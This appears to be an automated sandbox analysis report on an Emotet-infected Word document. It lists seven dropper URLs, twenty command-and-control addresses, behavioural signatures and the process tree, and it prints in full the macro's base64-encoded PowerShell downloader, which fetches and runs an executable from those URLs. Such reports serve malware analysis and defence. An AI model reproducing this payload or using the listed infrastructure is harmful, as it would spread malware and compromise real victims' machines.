Analysis

  • max time kernel
    142s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    04/09/2020, 08:25

General

  • Target
    K1553-2020_09_04-HT13383.doc
  • Size 182KB
  • Sample200904-6pg6akbck6
  • SHA256 741df8375c604df23cb9cc5bdbc6373f0b74df334fe2efd60bd6df7c5a398b65
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://sociallistsystem.com/wp-content/334/

  • exe.dropper

    http://reymo.com/wp-content/P1/

  • exe.dropper

    http://rejasan.com/icon/ggp/

  • exe.dropper

    http://thammynhp.com/wp-includes/fiP/

  • exe.dropper

    http://refinanz.org/bachelorme_de/6i/

  • exe.dropper

    https://bewellstyle.com/wp-content/2Mi/

  • exe.dropper

    http://tourgunungkidul.com/js/Mz/

Extracted

Family
  • emotet

C2
  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\K1553-2020_09_04-HT13383.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3956
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2104
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABRAHQAdQA4AHEAaQBiAD0AKAAoACcATgAnACsAJwB5AGkAJwApACsAJwA5ADgAJwArACcAcAAzACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAUgBwAFIATwBmAGkAbABlAFwATwB1AGkANAA4ADgAXwBcAEQANABHAGUAMQBsAHkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBJAHQAYAB5AGAAUAByAE8AYABUAG8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAMQAnACsAKAAnADEALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQApADsAJABWAHgAZgBlAGkAdgAxACAAPQAgACgAJwBUACcAKwAoACcAawB1ADYAegAnACsAJwB0ACcAKQArACcAbAAnACkAOwAkAE4AbwBoAGgAbgA0ADMAPQAoACgAJwBaAHMAJwArACcAcwAnACkAKwAoACcAMQBiACcAKwAnADUAdgAnACkAKQA7ACQAWgB0ADIAbABfAHUAOQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBUAEgAJwArACgAJwAzAE8AJwArACcAdQAnACkAKwAnAGkAJwArACcANAA4ACcAKwAnADgAJwArACgAJwBfACcAKwAnAFQASAAnACkAKwAoACcAMwAnACsAJwBEADQAZwBlADEAbAAnACsAJwB5AFQASAAnACsAJwAzACcAKQApAC4AIgBSAEUAcABgAEwAYABBAEMARQAiACgAKABbAEMASABhAFIAXQA4ADQAKwBbAEMASABhAFIAXQA3ADIAKwBbAEMASABhAFIAXQA1ADEAKQAsACcAXAAnACkAKQArACQAVgB4AGYAZQBpAHYAMQArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAE4AaABqAGoAeQBjAHIAPQAoACcAQQAnACsAKAAnADIAJwArACcAbwBxADMANQA5ACcAKQApADsAJABPADkAMQB0AHEAaAB1AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMATABpAGUAbgBUADsAJABQAHEAZgBjAHYAYgB0AD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBzAG8AYwBpAGEAbABsAGkAcwB0AHMAeQBzACcAKwAnAHQAZQAnACsAJwBtAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AdwAnACkAKwAoACcAcAAtAGMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8AMwAnACsAJwAzACcAKQArACgAJwA0AC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAnACkAKwAnAC8AcgAnACsAKAAnAGUAeQBtACcAKwAnAG8ALgAnACsAJwBjAG8AJwApACsAKAAnAG0ALwB3AHAALQAnACsAJwBjACcAKwAnAG8AbgB0AGUAJwApACsAJwBuACcAKwAoACcAdAAnACsAJwAvAFAAMQAvACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHIAZQBqACcAKwAnAGEAcwAnACkAKwAoACcAYQBuACcAKwAnAC4AYwBvAG0ALwBpACcAKQArACgAJwBjAG8AbgAvACcAKwAnAGcAJwArACcAZwBwAC8AJwApACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAJwAvAC8AdAAnACsAJwBoACcAKwAnAGEAbQBtACcAKQArACcAeQBuACcAKwAoACcAaABwACcAKwAnAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGkAbgAnACsAKAAnAGMAbAB1AGQAZQBzAC8AJwArACcAZgBpACcAKwAnAFAALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAHIAJwApACsAKAAnAGUAZgAnACsAJwBpAG4AYQAnACkAKwAoACcAbgB6AC4AbwAnACsAJwByAGcAJwApACsAKAAnAC8AYgBhACcAKwAnAGMAaABlAGwAbwAnACsAJwByAG0AZQAnACkAKwAnAF8AJwArACcAZAAnACsAKAAnAGUAJwArACcALwA2ACcAKQArACgAJwBpAC8AKgBoAHQAJwArACcAdABwACcAKQArACgAJwBzADoAJwArACcALwAvAGIAJwApACsAKAAnAGUAdwAnACsAJwBlAGwAJwApACsAKAAnAGwAJwArACcAcwB0AHkAJwApACsAKAAnAGwAJwArACcAZQAuACcAKwAnAGMAbwBtAC8AdwBwACcAKwAnAC0AYwBvACcAKQArACgAJwBuAHQAZQBuACcAKwAnAHQALwAnACkAKwAoACcAMgBNAGkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoALwAnACkAKwAoACcALwB0ACcAKwAnAG8AdQByAGcAJwApACsAJwB1AG4AJwArACgAJwB1ACcAKwAnAG4AZwBrACcAKQArACgAJwBpAGQAdQBsAC4AJwArACcAYwBvAG0AJwArACcALwAnACkAKwAoACcAagBzAC8ATQAnACsAJwB6AC8AJwApACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgByAG8AYwBiADYAeQA9ACgAJwBYADEAJwArACgAJwAwACcAKwAnAG8AOAAnACkAKwAnAGMAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAHIAbABlAHAAOQBsACAAaQBuACAAJABQAHEAZgBjAHYAYgB0ACkAewB0AHIAeQB7ACQATwA5ADEAdABxAGgAdQAuACIAZABvAFcAbgBMAE8AQQBgAGQAYABGAGkAYABsAEUAIgAoACQAQQByAGwAZQBwADkAbAAsACAAJABaAHQAMgBsAF8AdQA5ACkAOwAkAFMAaABtAHMAagBiAHAAPQAoACgAJwBYAHIAJwArACcAaAAnACkAKwAnAHgAcAAnACsAJwBtADIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFoAdAAyAGwAXwB1ADkAKQAuACIATABFAGAATgBHAFQAaAAiACAALQBnAGUAIAAyADMAMAAyADkAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAWgB0ADIAbABfAHUAOQApADsAJABLAHIAdQBwAHMAawB5AD0AKAAnAE4AJwArACgAJwBuADAAJwArACcAZABjADUAJwArACcAOQAnACkAKQA7AGIAcgBlAGEAawA7ACQATAAxAHUAcgBxADYAZwA9ACgAJwBYACcAKwAnAGcAdgAnACsAKAAnAHkAJwArACcAYgBsAHUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFYANgBzAHcANgBzAGgAPQAoACgAJwBSADAAJwArACcAMQB6AHEAbgAnACkAKwAnADUAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3732
    • C:\Users\Admin\Oui488_\D4ge1ly\Tku6ztl.exe
      "C:\Users\Admin\Oui488_\D4ge1ly\Tku6ztl.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\SysWOW64\KBDBGPH1\xwizards.exe
        "C:\Windows\SysWOW64\KBDBGPH1\xwizards.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1300

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1300-19-0x00000000021A0000-0x00000000021AC000-memory.dmp

        memory/1300-18-0x0000000002180000-0x000000000218D000-memory.dmp

        memory/2180-15-0x00000000023A0000-0x00000000023AC000-memory.dmp

        memory/2180-14-0x0000000002390000-0x000000000239D000-memory.dmp

        memory/3732-10-0x000002CFC0920000-0x000002CFC0921000-memory.dmp

        memory/3732-9-0x000002CFC0610000-0x000002CFC0611000-memory.dmp

        memory/3732-8-0x00007FF8FA560000-0x00007FF8FAF4C000-memory.dmp

        memory/3956-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

        memory/3956-7-0x000002285B932000-0x000002285B93D000-memory.dmp

        memory/3956-6-0x000002285B932000-0x000002285B93D000-memory.dmp

        memory/3956-5-0x000002285BA15000-0x000002285BA1A000-memory.dmp

        memory/3956-4-0x000002285B932000-0x000002285B93D000-memory.dmp

        memory/3956-3-0x000002285B93D000-0x000002285B942000-memory.dmp